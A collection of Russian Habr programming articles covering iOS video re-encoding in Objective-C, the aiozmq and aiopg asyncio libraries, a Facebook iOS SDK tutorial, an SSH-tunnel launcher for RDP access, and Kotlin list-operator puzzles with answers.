- (void)processAndReplace:(NSURL *)inputURL outputURL:(NSURL *)outputURL {
[[NSFileManager defaultManager] removeItemAtURL:outputURL error:nil];
// prepare reader
MovieReader *reader = [[MovieReader alloc] initWithInputURL:inputURL];
reader.timeRange = self.timeRange;
// prepare writer
MovieWriter *writer = [[FCCGLMovieWriter alloc] initWithOutputURL:outputURL];
writer.videoSettings = @{
AVVideoCodecKey: AVVideoCodecH264,
AVVideoWidthKey: @(1280.0),
AVVideoHeightKey: @(720.0),
};
writer.audioSettings = @{
AVFormatIDKey: @(kAudioFormatMPEG4AAC),
AVNumberOfChannelsKey: @(1),
AVSampleRateKey: @(44100),
AVEncoderBitRateStrategyKey: AVAudioBitRateStrategy_Variable,
AVEncoderAudioQualityForVBRKey: @(90),
};
// fire up reencoding
MovieProcessor *processor = [[MovieProcessor alloc] initWithReader:reader writer:writer];
processor.processingSize = (CGSize){
.width = 1280.0,
.height = 720.0
};
__weak FCCGLMovieStreamer *weakSelf = self;
[processor processWithProgressBlock:nil andCompletion:^(NSError *error) {
if(!error) {
weakSelf.replacementURL = outputURL;
}
}];
}
```
**MovieProcessor** здесь — сервис, который получает кадры и аудио сэмплы от reader’а и отдает их writer’у. (На самом деле он также умеет и обрабатывать полученные от reader’а кадры на GPU, но это используется только при рендере всего проекта, для того, чтобы наложить на готовое видео кадры анимации)
А теперь посложнее
------------------
А что, если юзер захочет добавить в проект сразу 10-15 видеоклипов? Так как приложение не должно ограничивать пользователя в количестве клипов, которые он может использовать в приложении, нужно предусмотреть этот сценарий.
Если готовить каждый отрывок к воспроизведению по мере надобности, возникнут слишком заметные задержки. Подготавливать к воспроизведению все клипы сразу тоже не получится — из-за ограничения iOS на количество h264 декодеров, работающих одновременно. Выход из этой ситуации, разумеется, есть и он достаточно прост — готовить заранее пару треков, которые будут проигрываться следующими, “очищая” те, которые использовать в ближайшее время не планируется.
```
- (void) cleanupTrackSourcesIfNeeded {
const NSUInteger cleanupDelta = 1;
NSUInteger trackCount = [self.tracks count];
NSUInteger currentIndex = [self.tracks indexOfObject:self.currentTrack];
if (currentIndex == NSNotFound) {
currentIndex = 0;
}
NSUInteger index = 0;
for (FCCGLVideoSequencerTrack *track in self.tracks) {
NSUInteger currentDelta = MAX(currentIndex, index) - MIN(currentIndex, index);
currentDelta = MIN(currentDelta, index + (trackCount - currentIndex - 1));
if (currentDelta > cleanupDelta) {
track.playheadPosition = 0.0;
[track.source cancelReading];
[track.source cleanup];
}
else {
[track.source startReading];
}
++index;
}
}
```
Таким нехитрым способом удалось добиться непрерывного воспроизведения и loop’а. Да, при scrubbing’е неизбежно будет небольшой лаг, но это не столь критично.
Подводные камни
---------------
Напоследок расскажу немного о подводных камнях, которые могут встретиться при решении подобных задач.
Первое — если вы работаете с pixel buffers, полученными с камеры девайса — либо сразу освобождайте их, либо копируйте, если хотите использовать их позже. В противном случае видеопоток зафризится — я не нашел упоминаний об этом ограничении в документации, но, по-видимому, система трекает pixel buffers, которые отдает и просто не будет отдавать вам новые, пока старые висят в памяти.
Второе — многопоточность при работе с **OpenGL**. Сам по себе **OpenGL** с ней не очень и дружит, однако это можно обойти, используя разные **EAGLContext**, находящиеся в одной [**EAGLSharegroup**](https://developer.apple.com/documentation/opengles/eaglsharegroup), что позволит быстро и просто разделить логику отрисовки того, что пользователь увидит на экране, и различные фоновые процессы (обработку видео, рендер и т.п.).
|
https://habr.com/ru/post/332416/
| null |
ru
| null |
# Работа с ZeroMQ и PostgreSQL в asyncio
Наверное, все уже слышали о чудесной библиотеке [asyncio](https://docs.python.org/dev/library/asyncio.html)?
Если нет, то коротко: эта либа стала стандартом на асинхронное сетевое программирование на Python. **tornado** и **twisted** или научатся с ней работать или постепенно уйдут в маргиналы.
**asyncio** прекрасна, но это просто библиотека для работы с *TCP*, *UDP*, *UNIX* сокетами, *PIPES* и асинхронным запуском *subprocess*.
Чтобы всем было здорово нужны сторонние библиотеки, умеющие работать с *asyncio*. Кое-что уже есть, но мало.
Вот я с коллегами и сделал пару: одну для [ZeroMQ](http://zeromq.org/) и другую для [PostgreSQL](http://www.postgresql.org/)
*Если вы прочно сидите на Python 2 и не интересуетесь Python 3 — не ходите под кат во избежание глупых вопросов и прочих недоразумений*.
Зачем оно мне было надо?
Потому что мы начинаем новый проект в котором без *ZeroMQ* и *Postgress* не обойтись. Очень хочется делать на *asyncio*. Пришлось запилить недостающие кусочки.
Сразу скажу, обе либы добротные. Я **Python Core Developer** и в коде **asyncio** тоже есть немало моего труда. Думаю, я понял как хорошо писать для системы, которую сам же помогал создавать.
Плюс (почти) 100% покрытие кода обоих библиотек тестами и внятная (надеюсь) документация.
**aiozmq** — позволяет использовать *ZeroMQ сокеты* с *asyncio*.
Документация — [здесь](http://aiozmq.readthedocs.org/).
*aiozmq* работает с низкоуровневыми *ZeroMQ сокетами* и, главное, даёт из коробки механизм *Remote Procedure Call* (плюс *PubSub* и *Notify*).
Короткий пример:
```
import asyncio
import aiozmq
import aiozmq.rpc
class ServerHandler(aiozmq.rpc.AttrHandler):
@aiozmq.rpc.method
def remote_func(self, a:int, b:int) -> int:
return a + b
@asyncio.coroutine
def go():
server = yield from aiozmq.rpc.start_server(
ServerHandler(), bind='tcp://127.0.0.1:5555')
client = yield from aiozmq.rpc.open_client(
connect='tcp://127.0.0.1:5555')
ret = yield from client.rpc.remote_func(1, 2)
assert 3 == ret
server.close()
client.close()
asyncio.set_event_loop_policy(aiozmq.ZmqEventLoopPolicy())
asyncio.get_event_loop().run_until_complete(go())
```
Теперь перейдем к **aiopg**
Эта либа умеет работать с *psycopg2* в асинхронном режиме и в качестве приятного бонуса даёт **connection pool**
Документация — [здесь](http://aiopg.readthedocs.org/).
```
@asyncio.coroutine
def test_select():
pool = yield from aiopg.create_pool(dsn)
with (yield from pool.cursor()) as cur:
yield from cur.execute('SELECT 1')
ret = yield from cur.fetchone()
assert ret == (1,), ret
```
Обе библиотеки выложены на GitHub: [aiozmq](https://github.com/aio-libs/aiozmq) и [aiopg](https://github.com/aio-libs/aiopg)
Пробуйте, если понравилось — используйте.
Найдете баги — пишите на гитхабе в *issues*, а ещё лучше сразу делайте *pull request*
|
https://habr.com/ru/post/218423/
| null |
ru
| null |
# Начало работы с Facebook SDK для iOS
Сегодня важным элементом приложения является возможность сообщить вашим друзьям, коллегам, а также всему миру, что вы делаете, где и почему. В этом нам помогают социальные сети. Сети в свою очередь стараются облегчить труд программиста и создают свои SDK. Сейчас мы рассмотрим Facebook SDK для платформы iOS.
Когда я начинал разбираться с Facebook SDK примерно год назад, еще была версия, которая называлась facebook-iphone-sdk. Она и сейчас работает. Но я стал замечать странные сбои в приложении и решил, проверить не вышло ли что-то нового. Оказалось этот проект законсервирован, а разработчикам рекомендуется теперь использовать facebook-ios-sdk, где как утверждалось все еще проще. И как оказалось, не соврали.
Скачать SDK можно отсюда — <https://github.com/facebook/facebook-ios-sdk>
Пользователи Xcode 4.0 могут напрямую скачать SDK из среды разработки. Для этого открываем Organizer, идем в раздел Repositories, и после плюсика в нижнем левом углу выбираем Checkout or Clone Repository.
В директории Sample находится демо-приложение, которое мы и будем немного дорабатывать и по пути разбираться с ним. Но с ним сразу же возникла проблема при его попытке запустить. Какие-то параметры проекта мешают его компиляции в новом Xcode4 и выдается ошибка о неверной архитектуре. Надо зайти в параметры проекта и просто поубивать все в разделе Архитектура и затем у проекта восстановить только два параметра:
Architectures — Standard (arms6, arms7)
BaseSDK — Latest iOS (iOS 4.3)
Если не получилось, то ниже я прилагаю рабочий проект.
После этого наш проект начинает строится, запускается в симуляторе и сразу же «вылетает», сигнализирую в консоль — «2011-03-29 11:49:02.301 DemoApp[3098:207] missing app id!». Все потому, что мы не указали id нашего приложения.
Идем на <http://www.facebook.com/developers/> и либо выбираем ваше уже существующие приложение или нажимаем кнопочку «+ Создать новое приложение». После несложной регистрации система сообщит вам кроме всего прочего «ID приложения». Он и только он нам и нужен в новой версии SDK. В файле DemoAppViewController.m мы можем увидеть такой текст:
`// Your Facebook APP Id must be set before running this example
// See www.facebook.com/developers/createapp.php
// Also, your application must bind to the fb[app_id]:// URL
// scheme (substitue [app_id] for your real Facebook app id).
static NSString* kAppId = nil;`
Заменяем nil на наш id приложения. Не забываем, что это строка. Пусть ДЛЯ ПРИМЕРА наш id будет 11111111111
`static NSString* kAppId = @"11111111111";`
Идем в конфигурационный файл Resources/DemoApp-Info.plist и заменяем значение fb[your-app-id] на картинке на наше fb11111111111 — причем скобки вас не должны смущать, ставить значение нужно без них!
Все! Теперь мы получили полностью работающее приложение. Можем запускать и изучать, что оно умеет. Сразу после запуска видим приглашение войти. После набора емейла и пароля появляется экран, интересующийся у нас, позволяем ли мы этому приложению получить доступ к нашим данным. Нажимаем Allow и попадаем в очень минималистический дизайн программы. На этом остановимся, чтобы разобраться как это все сейчас работает.
Для начала взглянем на XIB файл.
Он предельно прост — 5 кнопочек. При запуске приложения показывается только FBLoginButton — она у нас управляется одноименным классом, который добавлен в проект. Взглянем на метод viewDidLoad
`/**
* Set initial view
*/
(void)viewDidLoad {
// инициализируем facebook
_facebook = [[Facebook alloc] initWithAppId:kAppId];
[self.label setText:@"Please log in"];
// скрываем все кнопочки крочем логина
_getUserInfoButton.hidden = YES;
_getPublicInfoButton.hidden = YES;
_publishButton.hidden = YES;
_uploadPhotoButton.hidden = YES;
_fbButton.isLoggedIn = NO;
[_fbButton updateImage];
}`
Заметьте, как просто теперь инициализируется объект класса Facebook — нужно id приложения и все.
`_facebook = [[Facebook alloc] initWithAppId:kAppId];`
при нажатии кнопочки вызывается метод:
`/**
* Called on a login/logout button click.
*/
- (IBAction)fbButtonClick:(id)sender {
if (_fbButton.isLoggedIn) {
[self logout];
} else {
[self login];
}
}`
И если мы еще не вошли, то вызываем метод:
`/**
* Show the authorization dialog.
*/
- (void)login {
[_facebook authorize:_permissions delegate:self];
}`
, где \_permissions — это настройки прав на различные действия в facebook. В нашем примере мы просим права при инициализации нашего контроллера
`- (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil {
...
_permissions = [[NSArray arrayWithObjects:
@"read_stream", @"offline_access",nil] retain];
}
...
}`
согласно документации тут — <http://developers.facebook.com/docs/authentication/permissions/>, read\_stream — это право читать ленту, а offline\_access — это возможность вашему приложения оставаться присоединенным гораздо дольше. Без этого права токены на доступ сгорят достаточно быстро. Мы вернемся к этой теме чуть позже. Кстати, именно подтверждение этих прав у нас и запрашивалось, когда мы нажали кнопку Allow выше.
Второй важный момент здесь, что мы указали себя, наш класс, (self) как делегата и будем получать от объекта facebook сообщения по мере их поступления.
Еще один очень важный момент связан с тем, как же мы возвращаемся в наше приложение после авторизации. Помните, мы вносили какие-то параметры выше в файл Resources/DemoApp-Info.plist. И если мы присмотримся к файлу DemoAppAppDelegate.m то увидим там маленький метод, который и ответственен за возврат в наше приложение.
`- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
return [[controller facebook] handleOpenURL:url];
}`
Таким образом, подытожим. Если вы будете делать приложение с нуля, то для успешной работы SDK вам обязательно надо
1. Указать app ID в коде
2. Указать app ID в файле параметров вашего приложения
3. В \*AppDelegate.m вашего приложения реализовать метод
`- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
return [[controller facebook] handleOpenURL:url];
}`
Без последних двух пунктов вы не будете возвращаться в ваше приложение после окна авторизации.
В зависимости от того с чем вы вернулись в приложение, вызывается один из трех методов, которые мы прописали, как делегат.
`/**
* Вызывается, если мы успешно авторизовались.
*/
- (void)fbDidLogin {
[self.label setText:@"logged in"];
_getUserInfoButton.hidden = NO;
_getPublicInfoButton.hidden = NO;
_publishButton.hidden = NO;
_uploadPhotoButton.hidden = NO;
_fbButton.isLoggedIn = YES;
[_fbButton updateImage];
}
/**
* Вызывается, если мы отказались от авторизации.
*/
-(void)fbDidNotLogin:(BOOL)cancelled {
NSLog(@"did not login");
}
/**
* Вызывается, если мы сделали logout на фейсбуке.
*/
- (void)fbDidLogout {
[self.label setText:@"Please log in"];
_getUserInfoButton.hidden = YES;
_getPublicInfoButton.hidden = YES;
_publishButton.hidden = YES;
_uploadPhotoButton.hidden = YES;
_fbButton.isLoggedIn = NO;
[_fbButton updateImage];
}`
Так как мы успешно авторизовались, все наши остальные кнопки появились на экране. Можете сами изучить, что они делают; мы подробнее вернемся к ним позже. Например, кнопка «Call Graph API» покажет вам ваше имя и фамилию, а кнопка «Call REST API» покажется вам имя и фамилию человека в id=4, а именно Mike Zuckerberg. Попытки узнать, кто же скрывается под id=1 не увенчались успехом и приложение крешнулось. Так что, желающие могут изучить этот вопрос самостоятельно. И вот пока я писал последний абзац мне пришлось как минимум несколько раз снова жать кнопку Login. Что же можно сделать, чтобы один раз авторизовавшись в приложении, не надо было входить на facebook снова. Сейчас этим и займемся. Все что нам для этого надо — это сохранить в NSUserDefaults значения двух переменных. viewDidLoad у нас примет вот такой вид:
`- (void)viewDidLoad {
_facebook = [[Facebook alloc] initWithAppId:kAppId];
_facebook.accessToken = [[NSUserDefaults standardUserDefaults] stringForKey:@"AccessToken"];
_facebook.expirationDate = (NSDate *) [[NSUserDefaults standardUserDefaults] objectForKey:@"ExpirationDate"];
if ([_facebook isSessionValid] == NO) {
[self.label setText:@"Please log in"];
_getUserInfoButton.hidden = YES;
_getPublicInfoButton.hidden = YES;
_publishButton.hidden = YES;
_uploadPhotoButton.hidden = YES;
_fbButton.isLoggedIn = NO;
[_fbButton updateImage];
} else {
[self.label setText:@"logged in"];
_getUserInfoButton.hidden = NO;
_getPublicInfoButton.hidden = NO;
_publishButton.hidden = NO;
_uploadPhotoButton.hidden = NO;
_fbButton.isLoggedIn = YES;
[_fbButton updateImage];
}
}`
мы проверяем валидна ли (isSessionValid) сессия с параметрами accessToken и expirationDate, сохраненных в нашем NSUserDefaults. Если да, то мы уже залогинены и можем выполнять дальнейшие действия.
в методы fbDidLogin и fbDidLogout мы добавим соответственно
fbDidLogin — записываем параметры
`[[NSUserDefaults standardUserDefaults] setObject:self.facebook.accessToken forKey:@"AccessToken"];
[[NSUserDefaults standardUserDefaults] setObject:self.facebook.expirationDate forKey:@"ExpirationDate"];`
fbDidLogout — обнуляем их
`[[NSUserDefaults standardUserDefaults] setObject:nil forKey:@"AccessToken"];
[[NSUserDefaults standardUserDefaults] setObject:nil forKey:@"ExpirationDate"];`
Запускаем нашем приложение, авторизуемся, проверяем нашем имя — все отлично. Не нажимая Logout прекращаем наше приложение и снова его запускаем — видим, что мы все еще на фейсбуке — проверяем наше имя — все работает. Напомню, что именно для этого мы в правах просили себе право @«offline\_access». Этот вариант проекта можно будет скачать ниже.
И в заключение сегодняшней статьи давайте посмотрим как работает механизм запросов и обработка ответов.
Facebook настойчиво просит нас использовать GRAPH API, а не использовать старые REST API, который тем не менее все еще поддерживается. На этой странице (<http://developers.facebook.com/docs/reference/api/>) мы можем видеть примеры использования GRAPH API и посмотреть вывод информации для вас. В демо-программе facebook использует такой запрос:
`- (IBAction)getUserInfo:(id)sender {
[_facebook requestWithGraphPath:@"me" andDelegate:self];
}`
для примера они показывают какой вывод будет при таком запросе
[graph.facebook.com/btaylor](https://graph.facebook.com/btaylor)
{
«id»: «220439»,
«name»: «Bret Taylor»,
«first\_name»: «Bret»,
«last\_name»: «Taylor»,
«link»: «[www.facebook.com/btaylor](http://www.facebook.com/btaylor)»,
«username»: «btaylor»,
«gender»: «male»,
«locale»: «en\_US»
}
Это означает, что мы получим в ответ NSDictionary и сможем получить наше полное имя по ключу «name». После того, как мы отправили запрос и назначили получателя ответа, нам надо сделать методы, отвечающие за прием ответа. За прием неразобранного (raw) ответа отвечает
`- (void)request:(FBRequest *)request didReceiveResponse:(NSURLResponse *)response {
NSLog(@"received response");
}`
а разобранный ответ принимает:
`- (void)request:(FBRequest *)request didLoad:(id)result {
if ([result isKindOfClass:[NSArray class]]) {
result = [result objectAtIndex:0];
}
if ([result objectForKey:@"owner"]) {
[self.label setText:@"Photo upload Success"];
} else {
[self.label setText:[result objectForKey:@"name"]];
}
};`
Ответ (result) может быть числом, строкой, массивом или dictionary. Если нам пришел ответ сразу как NSArray — значит нам пришел сразу несколько ответов и надо разбивать их по отдельным ответам. В данном случае когда мы попросили рассказать, кто же мы (me) такие, приходит ответ в NSDictionary и там нет ключа owner, и следовательно вызывается эта строчка:
`[self.label setText:[result objectForKey:@"name"]];`
Давайте все усложним. Например, я хочу получить в приложении информацию о том, что же любит пользователь. Изменим запрос согласно документации на:
`- (IBAction)getUserInfo:(id)sender {
[_facebook requestWithGraphPath:@"me/likes" andDelegate:self];
}`
если вы посмотрите на сайте фейсбука вывод этого запроса, то увидите, что ответом будем — NSDictionary всего с одним ключом data. Ему будет соответствовать массив объектов NSDictionary c ключами «name»,«category»,«id»,«created\_time». Важно также не забыть в запрашиваемые права добавить «user\_likes», иначе в ответ нам вернется пустой объект NSDictionary!
Чтобы принять такой ответ, перепишем наш метод
`- (void)request:(FBRequest *)request didLoad:(id)result {
if ([result isKindOfClass:[NSArray class]]) {
result = [result objectAtIndex:0];
}
if ([result objectForKey:@"owner"]) {
[self.label setText:@"Photo upload Success"];
} else if ([result objectForKey:@"data"]){
NSArray *likes = [result objectForKey:@"data"];
NSString *text=@"You don't like Steve";
for (NSDictionary* mylike in likes) {
NSString *mylikeName = [mylike objectForKey:@"name"];
if ([mylikeName isEqualToString:@"Steve Jobs"]) {
text=@"You like Steve";
break;
}
}
[self.label setText:text];
}
};`
Если мы получили ответ в виде NSDictionary, и там есть значение по ключу «data», то мы проходим по этому массиву, заглядывая в каждый объект и проверяем, нет ли среди страничек facebook, которые нравятся пользователю, странички с именем Steve Jobs. У меня такая оказалась, так что приложение выдало мне «You like Steve».
На этом я остановлюсь пока, хотя хотелось бы еще рассказать, какие интересные опции есть для формирования сообщения на стену из приложения. Но видимо это будет в следующий раз.
[Проект оргинальный](http://dl.dropbox.com/u/15304764/DemoApp_orig.zip), но с поправками в свойствах, чтобы запустился в Xcode4
[Проект](http://dl.dropbox.com/u/15304764/DemoApp_retain.zip) с добавленной возможностью сохранять сессию
[Проект](http://dl.dropbox.com/u/15304764/DemoApp_likes.zip) с измененным запросом
Только вам в них надо будет поставить свои appID :)
ps и еще я люблю форматирование кода на Хабре :)
|
https://habr.com/ru/post/116417/
| null |
ru
| null |
# SSH вместо VPN
Наверняка многие системные администраторы сталкивались с ситуацией когда количество удалённых пользователей в компании становилось ~~больше одного~~ столько, что мысли о нормальном VPN вместо nat-а на скорую руку не давали покоя и становились навязчивой идеей. И уверен каждый морщился, когда понимал, что предстоит объяснять пользователям, что и где нажимать. А в моём, персональном случае ещё и позиция в отношении подопечных: «они не должны даже задумываться как это работает».
Сначала их было не много. Всего пара человек ходило по rdp на свой рабочий стол из дома и я не торопился с реализацией решения, но когда сервер 1С переехал из головного офиса в мою сеть и появилась целая армия бухгалтеров и прочих деятелей, волосы на голове зашевелились от перспективы зафлудить правила фаервола строками типа dst-nat.
Мне почему-то альтернативой моего решения, виделся только VPN (в том или ином виде), а это означало, что нужно будет писать инструкции для создания подключения на компьютере пользователя. От сюда перспектива отвечать на вопросы типа: «что я сделал не так?», потому как на каждой версии Windows это делается не совсем одинаково. Плюс надо было бы ещё объяснять как всё таки подключиться именно к нужному компьютеру — опять создавать эти ярлычки и всё такое. Да и кстати человек мог уехать ~~на деревню к дедушке~~ куда-нибудь где настройка чужого компьютера не приветствуется. По этому мне показалось, что именно так как задумал я, будет удобнее всего.
Сама идея того, что и как нужно сделать родилась давно и в принципе всё было понятно.
Задача проста: подключить пользователя к рабочему столу на рабочем компе (или любому другому) в один клик. Т.е. пользователь подключает флешку на которой лежит некий exe. Запускает этот exe, вводит пароль и вуаля — он на рабочем компе.
> *Немного лирики, если позволите.
>
>
>
> Уверен все смотрели отличный фильм «Игры разума». Помните фразу доктора в клинике: «Что может быть ужаснее для шизофреника, чем осознать, что он шизофреник»?
>
>
>
> Проецируя на себя могу перефразировать: «Что может быть ужаснее для программиста, чем осознать, что он системный администратор?». Это я к тому, что за более чем 10 лет админства я отупел. То, что я тогда написал бы за пару дней, теперь делал неделю и уверен, что можно было бы сделать лучше.*
По большому счёту ничего сложного. Берём исходники libssh2, openssl и zlib и прикручиваем их к нашему проекту. Именно исходники или статические библиотеки потому, что мы же не хотим чтобы у нас получилось на выходе больше одного файла. Если рядом с exe придётся положить ещё какой-нибудь dll решение утратит «изящность».
Программа создаёт ssh-tunnel до удалённого компа и слушает на локальном адресе аля localhost. Запускается mstsc и соединяется с localhost (на самом деле с удалённым компом).
Помучится пришлось с openssl. Такой скудной документации я ещё не видел. Примеры из вики на сайте проекта работают, но ничего не объясняют. Описание функций сводится к их назначению. Да и плюнуть бы, ведь libssh собрался, но мне нужно хранить параметры подключения в exe файле, считай в открытом виде, а это пароли и ключи. По этому немного поигравшись с различными вариантами функций всё таки зашифровал данные и положил их в конец exe.
По сути получился аналог plink-а из состава putty, но с возможностью клонировать себя с сохранением параметров подключения и выполнения некоей команды на компьютере пользователя. Например:
```
rlink --saddr=example.host.com --sport=2222 --lport=1234 --raddr=pc.localdomain --rport=3389 --user=andrey --cmd="mstsc /v:localhost:1234"
```
С таким набором аргументов, программа создаст туннель localhost:1234 → pc.localdomain:3389 и запустит rdp клиент и будет дожидаться его завершения. По скольку здесь опущен аргумент --pass пароль будет запрошен интерактивно.
Можно добавить ключ -a, тогда на выходе получим готовый exe с именем rlink-username.exe и готовым к запуску без ввода каких-либо аргументов в командной строке.
По умолчанию ключи для шифрования настроек генерируются автоматически, но можно задать секретное слово с помощью ключа --key и шифровать на его основе. Тогда при запуске программы, первым делом будет запрошен пароль для расшифровки аргументов.
Конечно же, для того, чтобы всё это заработало, остаётся ещё одна маленькая деталь: создать пользователя на ssh сервере. Но это уже другая история. И можно ещё написать скрипт, чтобы довести до автоматики создание пользователя и генерации готового exe для него, чем я и займусь в ближайшее время.
Пощупать программку можно [тут](https://sourceforge.net/projects/rlink/).
Простите за сумбур и спасибо за внимание.
|
https://habr.com/ru/post/319158/
| null |
ru
| null |
# 14 задач по Kotlin lists, которые заставят вас подумать
Привет, Хабр! Меня зовут Леонид Иванькин, я ведущий Android-разработчик в МТС Digital, работаю над приложением Мой МТС. В этой статье – сложные и не очень задачи, чтобы проверить, насколько хорошо вы разбираетесь в операторах для списков. Готовы испытать свои скиллы? Тогда переходите под кат!
При разработке на Kotlin часто приходится использовать списки (List, MutableList и другие), а также операторы для них. Каждый раз, заходя в [документацию](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin.collections/-list/), я убеждаюсь, что операторов очень много, а в их использовании есть тонкости.
Многие коллеги говорят, что в этой теме они разбираются на 100%. Давайте проверим, насколько хорошо вы владеете операторами для списков. Я подготовил 14 логических задач разной сложности, попробуйте их решить.
Ставлю на то, что даже опытные разработчики справятся не со всеми задачами, несмотря на кажущуюся простоту :)
Правила
-------
Есть задание — лист элементов. Ваша задача вставить **один оператор**, чтобы получилось значение в комментариях, которое стоит после знака **=**. В данной задаче это **1.**
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.let { println(it) }//=1
```
Решение здесь тривиальное: нужно взять первый элемент, чтобы получить 1. Применив, например, оператор **first().**
```
listOf(1, 3, 3, 2, 4, 1)
.first()
.let { println(it) }//=1
```
Надеюсь, что правила понятны.
Замечания и допущения
---------------------
* Хочу отметить, что из-за разнообразия операторов и по стечению обстоятельств решений может быть несколько. Например, для задачи выше также правильными были бы решения **last()**, **get(0)** и так далее.
* Во всех задачах использован один и тот же список.
* Не нужно во всех задачах искать логику с точки зрения решения бизнес-задач. Иногда задачи нарочно составлены с ошибками с точки зрения адекватности, сбивающими с толку.
* Эти упражнения помогут вам не только размять свой мозг, но и узнать о некоторых особенностях операторов, с которыми вы, возможно, не сталкивались.
* Задачи я старался располагать от простых к сложным. Но при решении нужно учитывать, что у каждого свой уровень и опыт.
* Ответы к задачам – в конце статьи, но не спешите скроллить вниз!
* Не переживайте, если вы не смогли решить все задачи. Они придуманы именно для того, чтобы заставить вас поломать голову. Я сам не смог бы решить их все :)
Итак, приступим.
Задачи
------
### Легкий уровень
Начнем с легких задач. Обратите внимание, что во всех задачах массив одинаковый **listOf(1, 3, 3, 2, 4, 1)**
### Задача 1.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.let { println(it) }//=6
```
Задача 2.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=5
```
Задача 3.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=14
```
Задача 4.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.average()
.let { println(it) }//=2.5
```
Обратите внимание, что оператор **sum()** поменялся. Теперь нужно искать не сумму, а среднее значение. В последующих задачах оператор также будет меняться или вовсе пропадать
Задача 5.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.average()
.let { println(it) }//=8.0
```
### Средний уровень
Эти задачи будут чуть посложнее и более каверзные.
Задача 6.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=8
```
Задача 7.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.let { println(it) }//=72
```
Задача 8.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.let { println(it) }//=null
```
Задача 9.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.let { println(it) }//=kotlin.Unit
```
Задача 10.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=15
```
Задача 11.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.first()
.let { println(it) }//=java.util.NoSuchElementException
```
### Сложный уровень
Напоследок 3 довольно сложные (с моей точки зрения) задачи.
Задача 12.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=29
```
Задача 13.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=27
```
Задача 14.
```
listOf(1, 3, 3, 2, 4, 1)
//missed operator
.sum()
.let { println(it) }//=6
```
Замечание: это должен быть не subList().
---
Ответы
------
Задача 1.
```
listOf(1, 3, 3, 2, 4, 1)
.count()
.let { println(it) }//=6
```
В этой задаче легко догадаться, что в массиве 6 элементов. Чтобы получить это число, нужно воспользоваться оператором count().
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcbiAgICAgICAgbGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgICAgICAgICAgLmNvdW50KClcbiAgICAgICAgICAgICAgICAubGV0IHsgcHJpbnRsbihpdCkgfS8vNlxufSJ9)
Задача 2.
```
listOf(1, 3, 3, 2, 4, 1)
.takeLast(2)
.sum()
.let { println(it) }//=5
```
В этой задаче также наглядно видно, что последние 2 числа в сумме дают 5.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLnRha2VMYXN0KDIpXG4gICAgICAgLnN1bSgpXG4gICAgICAgLmxldCB7IHByaW50bG4oaXQpIH0vLz01XG59In0=)
Задача 3.
```
listOf(1, 3, 3, 2, 4, 1)
.map { it }
.sum()
.let { println(it) }//=14
```
Это, скорее, задача-шутка, так как тут ничего не нужно делать со списком, чтобы получить в ответе 14. Но в условии сказано, что нужно добавить один оператор. Оператор, который ничего не делает, – это **map { it }**. Другие решения типа **also{}, let{it}** также принимаются.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLm1hcCB7IGl0IH1cbiAgICAgICAuc3VtKClcbiAgICAgICAubGV0IHsgcHJpbnRsbihpdCkgfS8vPTE0XG59In0=)
Задача 4.
```
listOf(1, 3, 3, 2, 4, 1)
.distinct()
.average()
.let { println(it) }//=2.5
```
Здесь ищем среднее значение из неповторяющихся элементов. Тут было бы уместно начать с подсчета среднего значения – сначала у исходного массива, а далее понять, что нужно каким-то способом это значение уменьшать.
[Проверить в Kotlin Playground](https://play.kotlinlang.org/#eyJ2ZXJzaW9uIjoiMS43LjAiLCJwbGF0Zm9ybSI6ImphdmEiLCJhcmdzIjoiIiwibm9uZU1hcmtlcnMiOnRydWUsInRoZW1lIjoiaWRlYSIsImNvZGUiOiJmdW4gbWFpbigpIHtcblx0bGlzdE9mKDEsIDMsIDMsIDIsIDQsIDEpXG4gICAgICAgLmRpc3RpbmN0KClcbiAgICAgICAuYXZlcmFnZSgpXG4gICAgICAgLmxldCB7IHByaW50bG4oaXQpIH0vLz0yLjVcbn0ifQ==)
Задача 5.
```
listOf(1, 3, 3, 2, 4, 1)
.map { 8 }
.average()
.let { println(it) }//=8.0
```
Тут тоже задача-шутка. Сразу понятно, что среднее из текущего листа никак не получить. Один из способов — заменить все числа на необходимые.
